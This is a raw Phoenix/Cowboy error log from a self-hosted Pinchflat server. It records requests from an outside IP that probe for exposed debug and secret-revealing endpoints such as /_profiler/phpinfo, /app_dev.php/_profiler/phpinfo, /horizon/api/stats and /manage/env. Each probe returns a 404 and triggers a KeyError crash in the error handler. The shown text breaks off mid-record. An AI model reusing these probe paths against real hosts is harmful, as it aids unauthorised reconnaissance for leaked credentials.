~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50352}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50352}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3513.0>, params: %{}, path_info: ["_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:46.977 [info] GET /app_dev.php/_profiler/phpinfo 21:08:46.978 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=86.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.979 [debug] QUERY OK source="settings" db=0.3ms idle=41.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.979 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.980 [error] #PID<0.3515.0> running PinchflatWeb.Endpoint (connection #PID<0.3514.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /app_dev.php/_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50358}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3515.0>, params: %{}, path_info: ["app_dev.php", "_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app_dev.php/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-6GRBjsnNCkAAR8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50358}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50358}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3515.0>, params: %{}, path_info: ["app_dev.php", "_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5. (truncated) 21:08:47.011 [info] GET /_profiler/latest 21:08:47.012 [debug] QUERY OK source="settings" db=0.2ms idle=73.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.012 [debug] QUERY OK source="settings" db=0.1ms idle=49.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.012 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.013 [error] #PID<0.3517.0> running PinchflatWeb.Endpoint (connection #PID<0.3516.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /_profiler/latest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50368}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3517.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/_profiler/latest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-6OORAWKQekAAHkC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50368}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50368}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3517.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:47.042 [info] GET /horizon/api/stats 21:08:47.042 [debug] QUERY OK source="settings" db=0.2ms idle=79.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.043 [debug] QUERY OK source="settings" db=0.1ms idle=64.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.043 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.043 [error] #PID<0.3519.0> running PinchflatWeb.Endpoint (connection #PID<0.3518.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /horizon/api/stats ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /horizon/api/stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50376}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3519.0>, params: %{}, path_info: ["horizon", "api", "stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/horizon/api/stats", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-6VjjwHzSKwAAHmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50376}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /horizon/api/stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50376}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3519.0>, params: %{}, path_info: ["horizon", "api", "stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" (truncated) 21:08:47.078 [info] GET /manage/env 21:08:47.078 [debug] QUERY OK source="settings" db=0.2ms idle=99.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.079 [debug] QUERY OK source="settings" db=0.2ms idle=67.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.079 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.080 [error] #PID<0.3521.0> running PinchflatWeb.Endpoint (connection #PID<0.3520.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /manage/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50386}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3521.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", 